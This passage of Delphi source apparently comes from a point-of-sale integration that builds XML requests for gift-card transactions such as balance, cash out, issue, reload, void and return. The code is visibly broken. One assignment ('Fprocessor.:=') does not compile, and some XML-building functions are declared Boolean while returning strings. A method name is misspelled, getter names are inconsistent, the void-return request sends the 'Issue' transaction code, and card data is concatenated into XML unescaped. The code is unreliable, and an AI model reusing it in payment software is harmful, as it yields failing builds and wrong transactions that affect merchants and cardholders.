ctab + ctab + '<TranCode>Balance</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAccNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end
function TDsiPDCXIntegration.GiftBalance: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftBalanceXML());
end;
end;
function TDsiPDCXIntegration.GiftCashOutXML(): Boolean;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + (FProcessor.GetGiftPort()) +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>CashOut</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
// ctab + ctab + '<SecureDevice>VX805XPI_MERCURY_E2E</SecureDevice>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetManualCardNumber() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpireDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftCashOut: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftCashOutXML());
end;
end;
function TDsiPDCXIntegration.GiftIssueXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Issue</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo()+ '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftIssue: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftIssueXML());
end;
end;
function TDsiPDCXIntegration.GiftNoNSFSaleXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>NoNSFSale</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
// ctab + ctab + '<SecureDevice>VX805XPI_MERCURY_E2E</SecureDevice>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcesor.GetManualCardNumber() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpireDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftNoNSFSale: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftNoNSFSaleXML());
end;
end;
function TDsiPDCXIntegration.GiftProcessReturn: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftProcessReturnXML());
end;
end;
function TDsiPDCXIntegration.GiftProcessSale: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftProcessSaleXML());
end;
end;
function TDsiPDCXIntegration.GiftVoidSaleXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GiftIpPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchandID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidSale</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetManualCard() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftProcessReturnXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Return</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftProcessSaleXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftReloadXML(): Boolean;
var
strRequest: string;
secureDevice : String;
begin
secureDevice := fAcctNoSecureDevice;
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Reload</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftReload: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftReloadXML());
end;
end;
function TDsiPDCXIntegration.GiftVoidIssueXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidIssue</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
// ctab + ctab + '<SecureDevice>VX805XPI_MERCURY_E2E</SecureDevice>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLAbel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetManualCardNumber() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftVoidIssue: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftVoidIssueXML());
end;
end;
function TDsiPDCXIntegration.GiftVoidReloadXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>VoidReload</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetManualCardNumber() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftVoidReload: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftVoidReloadXML());
end;
end;
function TDsiPDCXIntegration.GiftVoidReturnXML(): String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Issue</TranCode>' + ccrlf;
if ( trim(track2)<> '' ) then begin
strRequest := strRequest +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf;
end else begin
strRequest := strRequest + ctab + ctab + '<SecureDevice>NONE</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>0</ComPort>' + ccrlf ;
end;
strRequest := strRequest +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Memo>' + FProcessor.GetAppLabel() + '</Memo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo></RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf;
if FTrack2 <> '' then
begin
// Account Info - Use Track2
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<Track2>' + FTrack2 + '</Track2>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end
else
begin
// Account Info - Manual
strRequest := strRequest + ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetManualCardNumber() +'</AcctNo>' + ccrlf +
ctab + ctab + ctab + '<ExpDate>' + FProcessor.GetExpDate() + '</ExpDate>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf;
end;
strRequest := strRequest + ctab + ctab + '<Amount>' + ccrlf +
ctab + ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + ctab + '<Tax>' + formatfloat('0.00', FProcessor.GetTax()) + '</Tax>' + ccrlf +
ctab + ctab + '</Amount>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.GiftVoidReturn: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftVoidReturnXML());
end;
end;
function TDsiPDCXIntegration.GiftVoidSale: Boolean;
begin
if ( FProcessor.IsDeviceInitialized() ) then begin
result := processCommand(GiftVoidSaleXML());
end;
end;
function TDsiPDCXIntegration.InitializeStatus: Boolean;
var
FUserTraceData: String;
begin
FXMLSent := initializeStatusXML;
FXMLResult := FDevice.ProcessTransaction(FXMLSent, 0, '', FUserTraceData);
FXMLReceived := FXMLResult;
FXMLContent.XML := FXMLResult;
Fprocessor.:= ( FXMLContent.GetAttributeString('CmdStatus') = 'Success' );
result := fDeviceInitialized
end;
function TDsiPDCXIntegration.initializeStatusXML: String;
var
strRequest: string;
begin
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<MerchantID>' + Fprocessor.GetMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<LaneID>02</LaneID>' + ccrlf +
ctab + ctab + '<TranType>Credit</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + Fprocessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + Fprocessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Frequency>OneTime</Frequency>' + ccrlf +
ctab + ctab + '<RecordNo>RecordNumberRequested</RecordNo>' + ccrlf +
ctab + ctab + '<PartialAuth>Allow</PartialAuth>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', Fprocessor.GetPurchase) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + Fprocessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>Prompt</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + Fprocessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + Fprocessor.GetAppLabel() + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.PrePaidIssueXML: String;
var
strRequest: string;
begin
FProcessor.SetAcctNo('SecureDevice');
// Construct XML for CC sale
strRequest := '';
strRequest := ctab + ctab + '<IpPort>' + FProcessor.GetGiftPort() +'</IpPort>' + ccrlf +
ctab + ctab + '<MerchantID>' + FProcessor.GetGiftMerchantID() + '</MerchantID>' + ccrlf +
ctab + ctab + '<TranType>PrePaid</TranType>' + ccrlf +
ctab + ctab + '<TranCode>Sale</TranCode>' + ccrlf +
ctab + ctab + '<InvoiceNo>' + FProcessor.GetInvoiceNo() + '</InvoiceNo>' + ccrlf +
ctab + ctab + '<RefNo>' + FProcessor.GetRefNo() + '</RefNo>' + ccrlf +
ctab + ctab + '<Purchase>' + formatfloat('0.00', FProcessor.GetPurchase()) + '</Purchase>' + ccrlf +
ctab + ctab + '<SecureDevice>' + FProcessor.GetSecureDevice() + '</SecureDevice>' + ccrlf +
ctab + ctab + '<ComPort>'+ fpinpad.ComPort+ '</ComPort>' + ccrlf +
ctab + ctab + '<Account>' + ccrlf +
ctab + ctab + ctab + '<AcctNo>' + FProcessor.GetAcctNo() + '</AcctNo>' + ccrlf +
ctab + ctab + '</Account>' + ccrlf +
ctab + ctab + '<OperatorID>' + FProcessor.GetOperatorID() + '</OperatorID>' + ccrlf +
ctab + ctab + '<Memo>' + FMemo + '</Memo>' + ccrlf;
// Add XML, TStream and Transaction
Result := '<?xml version="1.0"?>' + ccrlf + '<TStream>' + ccrlf +
ctab + '<Transaction>' + ccrlf +
strRequest +
ctab + '</Transaction>' + ccrlf +
'</TStream>';
end;
function TDsiPDCXIntegration.prePaidNoNSFSale: Boolean;
begin
end;
function TDsiPDCXIntegration.ProcessCommand(arg_xml: WideString): Boolean;
var
